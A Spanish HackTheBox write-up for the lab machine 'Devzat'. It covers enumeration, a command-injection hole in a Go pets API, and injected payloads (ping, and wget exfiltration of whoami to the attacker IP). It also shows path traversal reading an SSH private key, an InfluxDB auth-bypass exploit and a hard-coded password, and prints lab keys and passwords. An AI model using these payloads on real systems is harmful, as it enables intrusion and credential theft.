My Profile Photo

[L]ord [R]NA


Father, son and husband, Red Teamer, Developer, Chess Player, Bitter Truths Distiller, Ex [SHNI/H-Sec] Staff Member, Amateur Astronomer, RedTeamRD Staff/Co-Founder


Disclaimer [ES]

Disclaimer [EN]


Devzat (HackTheBox Write-up)

Devzat está basada en el sistema de chat vía SSH Devzat. En ella encontraremos puntos básicos como enumeración de subdominios, Local File Inclusion, Inyección de comandos, así como Directory Path Traversal y el uso de exploits públicos para realizar movimiento lateral entre los usuarios. Es un sistema linux interesante, ya que deja totalmente de lado el Guessing, para centrarnos en que buscar en un sistema a la hora de comprometer el mismo.

Detalles del Sistema

Nombre del Sistema ==> Devzat
Fecha Publicación ==> Octubre 16, 2021
Fecha Retiro ==> Marzo 12, 2022
OS ==> Linux
Nivel ==> Medium
Rating ==> 4.6 / 5
Creador ==> c1sc0

Enumeración Inicial

Escaneo de NMap:

# Nmap 7.92 scan initiated Fri Mar 11 14:26:35 2022 as: nmap -sC -sV -T5 -p- --max-retries=1 -vvv -o scan-tcp.nmap 10.129.136.180
Warning: 10.129.136.180 giving up on port because retransmission cap hit (1).
Nmap scan report for 10.129.136.180
Host is up, received syn-ack (0.063s latency).
Scanned at 2022-03-11 14:26:36 EST for 228s
Not shown: 64597 closed tcp ports (conn-refused), 935 filtered tcp ports (no-response)
PORT     STATE SERVICE REASON  VERSION
22/tcp   open  ssh     syn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 c2:5f:fb:de:32:ff:44:bf:08:f5:ca:49:d4:42:1a:06 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDNaY36GNxswLsvQjgdNt0oBgiJp/OExsv55LjY72WFW03eiJrOY5hbm5AjjyePPTm2N9HO7uK230THXoGWOXhrlzT3nU/g/DkQyDcFZioiE7M2eRIK2m4egM5SYGcKvXDtQqSK86ex4I31Nq6m9EVpVWphbLfvaWjRmIgOlURo+P76WgjzZzKws42mag2zIrn5oP+ODhOW/3ta289/EMYS6phUbBd0KJIWm9ciNfKA2D7kklnuUP1ZRBe2DbSvd2HV5spoLQKmtY37JEX7aYdETjDUHvTqgkWsVCZAa5qNswPEV7zFlAJTgtW8tZsjW86Q0H49M5dUPra4BEXfZ0/idJy+jpMkbfj6+VjlsvaxxvNUEVrbPBXe9SlbeXdrNla5nenpbwtWNhckUlsEZjlpv8VnHqXt99s1mfHJkgO+yF09gvVPVdglDSqMAla8d2rfaVD68RfoGQc10Af6xiohSOA8LIa0f4Yaw+PjLlcylF5APDnSjtQvHm8TnQyRaVM=
|   256 bc:cd:e8:ee:0a:a9:15:76:52:bc:19:a4:a3:b2:ba:ff (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBCenH4vaESizD5ZgkV+1Yo3MJH9MfmUdKhvU+2Z2ShSSWjp1AfRmK/U/rYaFOoeKFIjo1P4s8fz3eXr3Pzk/X80=
|   256 62:ef:72:52:4f:19:53:8b:f2:9b:be:46:88:4b:c3:d0 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKTxLGFW04ssWG0kheQptJmR5sHKtPI2G+zh4FVF0pBm
80/tcp   open  http    syn-ack Apache httpd 2.4.41
|_http-title: Did not follow redirect to http://devzat.htb/
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.41 (Ubuntu)
8000/tcp open  ssh     syn-ack (protocol 2.0)
| fingerprint-strings: 
|   NULL: 
|_    SSH-2.0-Go
| ssh-hostkey: 
|   3072 6a:ee:db:90:a6:10:30:9f:94:ff:bf:61:95:2a:20:63 (RSA)
|_ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDTPm8Ze7iuUlabZ99t6SWJTw3spK5GP21qE/f7FOT/P+crNvZQKLuSHughKWgZH7Tku7Nmu/WxhZwVUFDpkiDG1mSPeK6uyGpuTmncComFvD3CaldFrZCNxbQ/BbWeyNVpF9szeVTwfdgY5PNoQFQ0reSwtenV6atEA5WfrZzhSZXWuWEn+7HB9C6w1aaqikPQDQSxRArcLZY5cgjNy34ZMk7MLaWciK99/xEYuNEAbR1v0/8ItVv5pyD8QMFD+s2NwHk6eJ3hqks2F5VJeqIZL2gXvBmgvQJ8fBLb0pBN6xa1xkOAPpQkrBL0pEEqKFQsdJaIzDpCBGmEL0E/DfO6Dsyq+dmcFstxwfvNO84OmoD2UArb/PxZPaOowjE47GRHl68cDIi3ULKjKoMg2QD7zrayfc7KXP8qEO0j5Xws0nXMll6VO9Gun6k9yaXkEvrFjfLucqIErd7eLtRvDFwcfw0VdflSdmfEz/NkV8kFpXm7iopTKdcwNcqjNnS1TIs=
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8000-TCP:V=7.92%I=7%D=3/11%Time=622BA330%P=x86_64-pc-linux-gnu%r(NU
SF:LL,C,"SSH-2\.0-Go\r\n");
Service Info: Host: devzat.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Mar 11 14:30:24 2022 -- 1 IP address (1 host up) scanned in 229.30 seconds

Servicio Web

Enumeración de Subdominios

Partiendo desde el punto de que existe un dominio al que somos redireccionados a la hora ingresar al puerto 80, procedemos a revisar si existe otro dominio. En el cual encontramos el subdominio pets.devzat.htb.

$ wfuzz -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -u 10.129.136.180 -H "Host: FUZZ.devzat.htb" -t 100 --hc 302,400 2>/dev/null
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://10.129.136.180/
Total requests: 114441

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                        
=====================================================================

000003745:   200        20 L     35 W       510 Ch      "pets"                                         

Total time: 0
Processed Requests: 114441
Filtered Requests: 114440
Requests/sec.: 0

devzat.htb

Volviendo a la página principal, nos encontramos una invitación interesante a unirnos a un grupo de chat a través de ssh, el cual está ejecutándose a traves de una aplicacion de nombre devzat en el puerto 8000.

Pasos para conectarse a Devzat

Más hacia abajo podemos encontrar el primer usuario, de nombre patrick.

E-mail del usuario patrick

Recorremos una lista de directorios para verificar si algún directorio interesante aparece dentro del dominio devzat.htb pero no obtuvimos ningún directorio de interés en el mismo.

$ wfuzz -u devzat.htb/FUZZ/ -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt -t 100 --hc 404 2>/dev/null
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://devzat.htb/FUZZ/
Total requests: 62283

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                              
=====================================================================

000000139:   403        9 L      28 W       275 Ch      "javascript"                                                                                         
000000386:   403        9 L      28 W       275 Ch      "icons"                                                                                              
000000002:   200        22 L     116 W      2123 Ch     "images"                                                                                             
000000084:   200        19 L     93 W       1501 Ch     "assets"                                                                                             
000004227:   403        9 L      28 W       275 Ch      "server-status"                                                                                      
000004255:   200        191 L    623 W      6527 Ch     "http://devzat.htb//"                                                                                
000030014:   200        191 L    623 W      6527 Ch     "http://devzat.htb//"                                                                                
000059103:   200        191 L    623 W      6527 Ch     "http://devzat.htb//"                                                                                

Total time: 0
Processed Requests: 62206
Filtered Requests: 62198
Requests/sec.: 0

Servicio Devzat

Al percatarnos de que podíamos acceder al servicio de Devzat sin necesitar credenciales, el primer intento fue ingresar con el usuario patrick, pero dicho usuario solo puede acceder de forma local, por lo tanto. Hasta no tener una forma de acceder localmente, no tenemos acceso al servicio devzat como este. En ese punto, es hora de revisar el subdominio pets.devzat.htb.

El usuario patrick solo puede acceder de forma local

Subdominio pets.devzat.htb

Al ingresar al subdominio pets.devzat.htb nos encontramos con un inventario de mascotas, en el cual podemos tanto agregar como eliminar mascotas.

Formulario para adicionar mascotas al inventario

Al ingresar una mascota en el formulario, se envía un POST a una API para ingresar la nueva mascota.

POST para ingresar nueva mascota:

POST /api/pet HTTP/1.1
Host: pets.devzat.htb
Content-Length: 35
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
Content-Type: text/plain;charset=UTF-8
Accept: */*
Origin: http://pets.devzat.htb
Referer: http://pets.devzat.htb/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

{"name":"Rocko","species":"gopher"}

Respuesta al ingresar mascota:

HTTP/1.1 200 OK
Date: Sat, 12 Mar 2022 02:17:41 GMT
Server: My genious go pet server
Content-Length: 26
Content-Type: text/plain; charset=utf-8
Connection: close

Pet was added successfully

Luego de ingresar la mascota, vuelve a recargar la pagina, haciendo una solicitud de las mascotas que están en el api. Encontrando en la misma, la mascota que agregamos al inventario

...
{"name":"Rocko","species":"gopher","characteristics":"Gophers use their long teeth to help build tunnels – to cut roots, loosen rocks and push soil away. Gophers have pouches in their cheeks that they use to carry food, hence the term “pocket” gopher. Gophers are generally solitary creatures that prefer to live alone except for brief mating periods."}
...

En este punto hubo varias teorías, descartando desde el inicio el XSS debido a que podría utilizarse para capturar un cookie y conseguir una sesión, pero no era vulnerable al mismo. De la misma forma se realizaron pruebas fallidas de SQL Injection, terminando en el punto de localizar posibles directorios o archivos que no estuviesen a simple vista en el subdominio pets.devzat.htb. De esta forma nos encontramos con el directorio .git dentro de la raíz del mismo.

$ wfuzz -u pets.devzat.htb/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-large-files.txt -t 100 --hc 404 --hl 20 2>/dev/null 
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://pets.devzat.htb/FUZZ
Total requests: 37050

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                              
=====================================================================

000001935:   301        2 L      3 W        41 Ch       ".git"                                                                                               
000025420:   200        20 L     35 W       510 Ch      "directory        e.g."                                                                                 
Total time: 57.83836
Processed Requests: 37050
Filtered Requests: 37049
Requests/sec.: 640.5782

Al ingresar en dicho directorio nos encontramos con la arquitectura de un repositorio de git.

$ curl pets.devzat.htb/.git/                                                                                 
<pre>
<a href="COMMIT_EDITMSG">COMMIT_EDITMSG</a>
<a href="HEAD">HEAD</a>
<a href="branches/">branches/</a>
<a href="config">config</a>
<a href="description">description</a>
<a href="hooks/">hooks/</a>
<a href="index">index</a>
<a href="info/">info/</a>
<a href="logs/">logs/</a>
<a href="objects/">objects/</a>
<a href="refs/">refs/</a>
</pre>

Acceso Inicial

Para poder realizar un análisis más detallado del repositorio, procedemos a descargarlo con ayuda de wget a través del comando wget --mirror -I .git http://pets.devzat.htb, y de esta forma seremos capaces de realizar un checkout con git, a través del comando git checkout -- .. Obteniendo de esta forma el contenido del sitio web y la API que está contenida en pets.devzat.htb. Ya de esta forma, podremos ver como funciona el portal y las solicitudes en el mismo.

El primer factor que podemos notar es que las características no son escritas desde una base de datos, sino desde archivos de texto colocados en una ruta.

$ ls -ltr characteristics 
total 6872
-rw-r--r-- 1 lordrna lordrna     303 Mar 11 21:36 gopher
-rw-r--r-- 1 lordrna lordrna     240 Mar 11 21:36 giraffe
-rw-r--r-- 1 lordrna lordrna     100 Mar 11 21:36 dog
-rw-r--r-- 1 lordrna lordrna     190 Mar 11 21:36 cat
-rw-r--r-- 1 lordrna lordrna     175 Mar 11 21:36 bluewhale
-rw-r--r-- 1 lordrna lordrna     344 Mar 11 21:36 redkite
-rwxr-xr-x 1 lordrna lordrna 7012208 Mar 11 21:36 petshop

Ya en este punto, podemos deducir que las características de alguna forma están siendo leídas para ser devueltas a través del API. Así que tras una corta búsqueda dentro del archivo main.go nos encontramos una función que es la encargada de leer las características de las especies, pero las realiza de una forma insegura.

func loadCharacter(species string) string {
    cmd := exec.Command("sh", "-c", "cat characteristics/"+species)
    stdoutStderr, err := cmd.CombinedOutput()
    if err != nil {
        return err.Error()
    }
    return string(stdoutStderr)
}

Partiendo del funcionamiento de esta función, ya podemos deducir cómo inyectar código en el contexto del usuario que está ejecutando la aplicación.

Para iniciar las pruebas, procedemos a inyectar un ping hacia nuestra ip.

POST solicitando el ping hacia nuestra IP:

POST /api/pet HTTP/1.1
Host: pets.devzat.htb
Content-Length: 59
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
Content-Type: text/plain;charset=UTF-8
Accept: */*
Origin: http://pets.devzat.htb
Referer: http://pets.devzat.htb/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

{"name":"Rocko","species":"gopher; ping -c 4 10.10.14.121"}

Ping capturado a través de tcpdump:

$ sudo tcpdump -envi tun0 icmp
tcpdump: listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
21:54:48.210007 ip: (tos 0x0, ttl 63, id 54241, offset 0, flags [DF], proto ICMP (1), length 84)
    10.129.136.180 > 10.10.14.121: ICMP echo request, id 2, seq 1, length 64
21:54:48.210043 ip: (tos 0x0, ttl 64, id 23983, offset 0, flags [none], proto ICMP (1), length 84)
    10.10.14.121 > 10.129.136.180: ICMP echo reply, id 2, seq 1, length 64
21:54:49.211291 ip: (tos 0x0, ttl 63, id 54339, offset 0, flags [DF], proto ICMP (1), length 84)
    10.129.136.180 > 10.10.14.121: ICMP echo request, id 2, seq 2, length 64
21:54:49.211321 ip: (tos 0x0, ttl 64, id 24132, offset 0, flags [none], proto ICMP (1), length 84)
    10.10.14.121 > 10.129.136.180: ICMP echo reply, id 2, seq 2, length 64
21:54:50.212645 ip: (tos 0x0, ttl 63, id 54340, offset 0, flags [DF], proto ICMP (1), length 84)
    10.129.136.180 > 10.10.14.121: ICMP echo request, id 2, seq 3, length 64
21:54:50.212674 ip: (tos 0x0, ttl 64, id 24302, offset 0, flags [none], proto ICMP (1), length 84)
    10.10.14.121 > 10.129.136.180: ICMP echo reply, id 2, seq 3, length 64
21:54:51.215382 ip: (tos 0x0, ttl 63, id 54578, offset 0, flags [DF], proto ICMP (1), length 84)
    10.129.136.180 > 10.10.14.121: ICMP echo request, id 2, seq 4, length 64
21:54:51.215411 ip: (tos 0x0, ttl 64, id 24393, offset 0, flags [none], proto ICMP (1), length 84)
    10.10.14.121 > 10.129.136.180: ICMP echo reply, id 2, seq 4, length 64

Ya en este punto, podemos validar que la web contenida en pets.devzat.htb es vulnerable a Command Injection. Así que procedemos a extraer el usuario sobre el cual está siendo ejecutada la aplicación.

POST para exfiltrar el nombre del usuario que ejecuta la aplicación:

POST /api/pet HTTP/1.1
Host: pets.devzat.htb
Content-Length: 75
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
Content-Type: text/plain;charset=UTF-8
Accept: */*
Origin: http://pets.devzat.htb
Referer: http://pets.devzat.htb/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

{"name":"Rocko","species":"gopher; wget http://10.10.14.121/`whoami` -O -"}

Respuesta con el nombre de usuario que ejecuta la aplicación:

$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.129.136.180 - - [11/Mar/2022 22:02:26] code 404, message File not found
10.129.136.180 - - [11/Mar/2022 22:02:26] "GET /patrick HTTP/1.1" 404 -

Sabiendo que el usuario es patrick, podemos exfiltrar su llave para acceder via SSH. Para esto abusaremos la funcionalidad para colocar las características, y así colocar la llave como el resultado de la misma.

POST alterando la característica para realizar un Local File Inclusion:

POST /api/pet HTTP/1.1
Host: pets.devzat.htb
Content-Length: 78
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
Content-Type: text/plain;charset=UTF-8
Accept: */*
Origin: http://pets.devzat.htb
Referer: http://pets.devzat.htb/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

{"name":"id_rsa","species":"../../../../../../../../home/patrick/.ssh/id_rsa"}

Respuesta con la llave para conectarse al usuario Patrick vía SSH:

...
{"name":"id_rsa","species":"../../../../../../../../home/patrick/.ssh/id_rsa","characteristics":"-----BEGIN OPENSSH PRIVATE KEY-----\n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\n-----END OPENSSH PRIVATE KEY-----\n"}
...

Ya en este punto tenemos acceso al servicio devzat como patrick y acceso a una shell vía SSH a través del mismo usuario.

Al tratar de leer la flag de usuario contenida en user.txt, nos damos cuenta que existe un segundo usuario de nombre catherine y que el usuario patrick no tiene permisos para acceder al contenido del mismo

patrick@devzat:~$ ls -l
total 12
drwxr-x--- 2 patrick patrick 4096 Sep 23 15:07 devzat
drwxrwxr-x 3 patrick patrick 4096 Jun 22  2021 go
drwxrwx--- 5 patrick patrick 4096 Jun 23  2021 pets
patrick@devzat:~$ cd ..
patrick@devzat:/home$ ls -l
total 8
drwxr-xr-x 4 catherine catherine 4096 Sep 21 19:35 catherine
drwxr-xr-x 9 patrick   patrick   4096 Sep 24 14:57 patrick
patrick@devzat:/home$ cd catherine
patrick@devzat:/home/catherine$ ls -l
total 4
-r-------- 1 catherine catherine 33 Mar 11 16:42 user.txt

Movimiento Lateral

Al inicio, cuando tratamos de ingresar a devzat utilizando el usuario patrick, obtuvimos un mensaje alertandonos que el usuario patrick solo podía acceder a devzat de forma local, por lo tanto, procedemos a acceder al servicio desde el servicio ssh recientemente adquirido.

Chat entre patrick y el administrador via devzat

En este podemos ver que existe un servicio de influxdb instalado para patrick en el ambiente. Dicho servicio no está en el escaneo inicial, por lo tanto, es un servicio interno, al cual deberemos acceder haciendo un Local Forwarding.

Local Forwarding realizado al puerto local 8086:

ssh> L 8086:127.0.0.1:8086
Forwarding port.

A través del encabezado de InfluxDB podemos identificar la versión actual del servicio, para facilitar la búsqueda de vulnerabilidades.

InfluxDB 1.7.5 identificado a través de un Custom Header:

$ curl -I  127.0.0.1:8086
HTTP/1.1 404 Not Found
Content-Type: text/plain; charset=utf-8
X-Content-Type-Options: nosniff
X-Influxdb-Build: OSS
X-Influxdb-Version: 1.7.5
Date: Sat, 12 Mar 2022 03:37:42 GMT
Content-Length: 19

Dicha version de InfluxDB es vulnerable a Authentication Bypass, al igual que contiene un exploit publico, el cual retorna una shell para el consumo de la base de datos CVE-2019-20933.

$ python3 __main__.py      

  _____        __ _            _____  ____    ______            _       _ _   
 |_   _|      / _| |          |  __ \|  _ \  |  ____|          | |     (_) |  
   | |  _ __ | |_| |_   ___  __ |  | | |_) | | |__  __  ___ __ | | ___  _| |_ 
   | | | '_ \|  _| | | | \ \/ / |  | |  _ <  |  __| \ \/ / '_ \| |/ _ \| | __|
  _| |_| | | | | | | |_| |>  <| |__| | |_) | | |____ >  <| |_) | | (_) | | |_ 
 |_____|_| |_|_| |_|\__,_/_/\_\_____/|____/  |______/_/\_\ .__/|_|\___/|_|\__|
                                                         | |                  
                                                         |_|                  
 - using CVE-2019-20933

Host (default: localhost): 
Port (default: 8086): 
Username <OR> path to username file (default: users.txt): 

Bruteforcing usernames ...
[v] admin

Host vulnerable !!!

Databases:

1) devzat
2) _internal

.quit to exit
[[email protected]] Database: 1

Después de seleccionar la base de datos, procedemos a listar los measurements de la base de datos:

Measurements en devzat:

[[email protected]/devzat] $ show measurements
{
    "results": [
        {
            "series": [
                {
                    "columns": [
                        "name"
                    ],
                    "name": "measurements",
                    "values": [
                        [
                            "user"
                        ]
                    ]
                }
            ],
            "statement_id": 0
        }
    ]
}

En este punto, nos encontramos con el measurement user, el cual contiene usuarios y contraseñas, incluyendo las del usuario catherine

Usuarios en devzat:

[[email protected]/devzat] $ select * from "user"
{
    "results": [
        {
            "series": [
                {
                    "columns": [
                        "time",
                        "enabled",
                        "password",
                        "username"
                    ],
                    "name": "user",
                    "values": [
                        [
                            "2021-06-22T20:04:16.313965493Z",
                            false,
                            "WillyWonka2021",
                            "wilhelm"
                        ],
                        [
                            "2021-06-22T20:04:16.320782034Z",
                            true,
                            "woBeeYareedahc7Oogeephies7Aiseci",
                            "catherine"
                        ],
                        [
                            "2021-06-22T20:04:16.996682002Z",
                            true,
                            "RoyalQueenBee$",
                            "charles"
                        ]
                    ]
                }
            ],
            "statement_id": 0
        }
    ]
}

Ya con acceso al usuario catherine, podemos acceder al archivo user.txt, comprometiendo así el sistema a nivel de usuario

Validación de lectura de user.txt:

catherine@devzat:~$ wc -c user.txt
33 user.txt

Escalación de Privilegios

Ya con el usuario catherine procedemos a acceder a devzat, de la misma forma que hicimos con patrick, encontrandonos una informacion muy importante en el mismo:

Conversación entre Catherine y Patrick

En el path /var/backups hay dos zips, correspondientes a devzat-main.zip y devzat-dev.zip

$ ls -ltr /var/backups/
total 132
-rw-r--r-- 1 root      root       6602 Jul 16  2021 apt.extended_states.2.gz
-rw------- 1 catherine catherine 27567 Jul 16  2021 devzat-main.zip
-rw------- 1 catherine catherine 28297 Jul 16  2021 devzat-dev.zip
-rw-r--r-- 1 root      root       6588 Sep 21 20:17 apt.extended_states.1.gz
-rw-r--r-- 1 root      root      59142 Sep 28 18:45 apt.extended_states.0

Buscando las diferencias entre ambos, descomprimimos y a través del comentario diff, nos encontramos con unas credenciales

$ diff dev main
diff dev/allusers.json main/allusers.json
1c1,3
< {}
---
> {
>    "eff8e7ca506627fe15dda5e0e512fcaad70b6d520f37cc76597fdb4f2d83a1a3": "\u001b[38;5;214mtest\u001b[39m"
> }
diff dev/commands.go main/commands.go
4d3
<     "bufio"
6,7d4
<     "os"
<     "path/filepath"
40d36
<         file        = commandInfo{"file", "Paste a files content directly to chat [alpha]", fileCommand, 1, false, nil}
42,101c38
<     commands = []commandInfo{clear, message, users, all, exit, bell, room, kick, id, _commands, nick, color, timezone, emojis, help, tictactoe, hangman, shrug, asciiArt, exampleCode, file}
< }
< 
< func fileCommand(u *user, args []string) {
<     if len(args) < 1 {
<         u.system("Please provide file to print and the password")
<         return
<     }
< 
<     if len(args) < 2 {
<         u.system("You need to provide the correct password to use this function")
<         return
<     }
< 
<     path := args[0]
<     pass := args[1]
< 
<     // Check my secure password
<     if pass != "CeilingCatStillAThingIn2021?" {
<         u.system("You did provide the wrong password")
<         return
<     }
< 
<     // Get CWD
<     cwd, err := os.Getwd()
<     if err != nil {
<         u.system(err.Error())
<     }
< 
<     // Construct path to print
<     printPath := filepath.Join(cwd, path)
< 
<     // Check if file exists
<     if _, err := os.Stat(printPath); err == nil {
<         // exists, print
<         file, err := os.Open(printPath)
<         if err != nil {
<             u.system(fmt.Sprintf("Something went wrong opening the file: %+v", err.Error()))
<             return
<         }
<         defer file.Close()
< 
<         scanner := bufio.NewScanner(file)
<         for scanner.Scan() {
<             u.system(scanner.Text())
<         }
< 
<         if err := scanner.Err(); err != nil {
<             u.system(fmt.Sprintf("Something went wrong printing the file: %+v", err.Error()))
<         }
< 
<         return
< 
<     } else if os.IsNotExist(err) {
<         // does not exist, print error
<         u.system(fmt.Sprintf("The requested file @ %+v does not exist!", printPath))
<         return
<     }
<     // bokred?
<     u.system("Something went badly wrong.")
---
>     commands = []commandInfo{clear, message, users, all, exit, bell, room, kick, id, _commands, nick, color, timezone, emojis, help, tictactoe, hangman, shrug, asciiArt, exampleCode}
diff dev/devchat.go main/devchat.go
27c27
<     port = 8443
---
>     port = 8000
114c114
<         fmt.Sprintf("127.0.0.1:%d", port),
---
>         fmt.Sprintf(":%d", port),
Only in dev: testfile.txt

Realizamos una conexión desde el usuario catherine al servicio devzat que se encuentra en el puerto local 8443 y nos encontramos relativamente la misma conversación entre los usuarios patrick y catherine. En esta, patrick la invita a probar una nueva funcionalidad, para la cual necesitará las credenciales que se pueden encontrar en el diff entre main y dev.

Revisando las nuevas funcionalidades en devzat, nos encontramos una función que está en fase alpha, llamada /file, la cual permite leer archivos dentro del sistema.

Lista de Comandos en el sistema Devzat que se encuentra en development

Al intentar utilizarlo, nos pide unas credenciales, las cuales, según la conversación entre los usuarios, fue la encontrada en el diff, con lo cual, extraemos la llave para conectarnos vía SSH del usuario root.

Llave para conectarnos vía SSH del usuario root

Validando de esta forma, que el sistema ha sido totalmente comprometido

$ ssh [email protected] -i ./id_rsa  
Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-77-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Sat 12 Mar 2022 04:19:22 AM UTC

  System load:              0.0
  Usage of /:               56.5% of 7.81GB
  Memory usage:             25%
  Swap usage:               0%
  Processes:                245
  Users logged in:          1
  IPv4 address for docker0: 172.17.0.1
